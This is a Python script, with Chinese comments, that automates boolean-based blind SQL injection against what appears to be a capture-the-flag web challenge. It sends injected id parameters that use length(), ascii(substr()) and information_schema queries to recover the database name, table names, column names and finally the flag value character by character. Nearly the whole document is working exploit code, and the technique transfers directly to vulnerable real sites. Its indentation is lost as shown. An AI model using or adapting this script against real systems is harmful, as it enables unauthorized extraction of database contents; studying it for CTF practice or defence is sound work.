脚本:
#bool型SQL盲注,py脚本--
#https://blog.csdn.net/weixin_40709439/article/details/81355856
import requests as rq
import re
import time
url='http://ctf5.shiyanbar.com/web/index_3.php'
mystr="0123456789abcdefghijklmnopqrstuvwxyz"
m_str="sqcwertyuioplkjhgfdazxvbnm"
flag_str=mystr+"ABCDEFGHIJKLMNOPQRSTUVWXYZ}@_{"
#猜数据库名长度
def c_dblength():
t=0
for i in range(1,5):
data="?id=1' and length(database())=%d%%23" %(i)#%需要双写转义
myurl=url+data
#print (myurl)
response = rq.get(myurl)
if "Hello" in response.text:
print (i)
t=i
break
return t
#猜数据库名
def c_dbname(len):
flag=""
for i in range(1,len+1):
for j in mystr:
char_ascii=ord(j) #ord函数返回字符对应的十进制
data="?id=1' and ascii(substr(database(),%d,1))=%s%%23" %(i,char_ascii)#%需要双写转义
myurl=url+data
#print (myurl)
re = rq.get(myurl)
if "Hello" in re.text:
flag+=j
break
print(flag)
#猜表个数
def c_tbcount():
t=0
for i in range(1,4):#这里个数是2个
data="?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=%d%%23" %(i)#%需要双写转义
myurl=url+data
#print (myurl)
response = rq.get(myurl)
if "Hello" in response.text:
print (i)
t=i
break
return t
#猜表名 (跟猜数据库一样,猜出长度,然后猜表名)
def c_tbname(ct):
for i in range(0,ct):
#猜长度
t1=0
for j in range(1,8):
data="?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit %d,1))=%d%%23" %(i,j)
myurl=url+data
#print(myurl)
re = rq.get(myurl)
if "Hello" in re.text:
t1=j
break
print(t1)
#猜表名
flag=""
for j in range(1,t1+1):
for k in mystr:
char_ascii=ord(k)
data="?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%s%%23" %(i,j,char_ascii)
print(data)
myurl=url+data
time.sleep(2)
re = rq.get(myurl)
#print(re.text)
if "Hello" in re.text:
flag+=k
break
print(flag)
return
############################################################### 猜列
#猜列名
def c_colname(mytables):
for i in range(0,1): #循环一次,不用管他
#猜列名的长度
t1=0
for j in range(1,8):
data="?id=1' and length((select column_name from information_schema.columns where table_name='%s' limit 1))=%d%%23" %(mytables,j)#limit 1表示检索第一条记录行
myurl=url+data
#print(data)
re = rq.get(myurl)
if "Hello" in re.text:
t1=j
break
print(t1)
#猜列名
flag=""
for j in range(1,t1+1):
for k in m_str:
char_ascii=ord(k)
data="?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='%s' limit 1),%d,1)))=%s%%23" %(mytables,j,char_ascii)
print(data)
myurl=url+data
#time.sleep(2)
re = rq.get(myurl)
#print(re.text)
if "Hello" in re.text:
flag+=k
break
print(flag)
return
#得flag 猜数据
def c_flag(mytable,mycolumn):
#判断有几行数据
t=0
for i in range(1,10):
data="?id=1' and (select count(*) from %s )=%d%%23" %(mytable,i)
myurl=url+data
#print (data)
response = rq.get(myurl)
if "Hello" in response.text:
#print (i)
t=i
break
print(t)
#数据长度
len=0
for i in range(1,t+1):
for j in range(1,40):
data="?id=1' and length((select %s from %s))=%d %%23" %(mycolumn,mytable,j)
myurl=url+data
#print(data)
re = rq.get(myurl)
if "Hello" in re.text:
len=j
break
print(len)
#开始才出数据
flag=""
for i in range(1,t+1):
for j in range(1,len+1):
for k in flag_str:
data="?id=1' and (ascii(substr((select %s from %s),%d,1)))=%s%%23" % (mycolumn,mytable,j,ord(k))
myurl=url+data
#print (data)
time.sleep(1)
response = rq.get(myurl)
if "Hello" in response.text:
flag+=k
print(flag)
break
print(flag)
if __name__ == '__main__':
#len=c_dblength()#长度为4
#c_dbname(len) #猜数据库名
#ct = c_tbcount()
#c_tbname(2) #猜表名。。。得到flag和web1这2个表
#c_colname("flag") #猜列 得到列flag
c_flag("flag","flag") #拿flag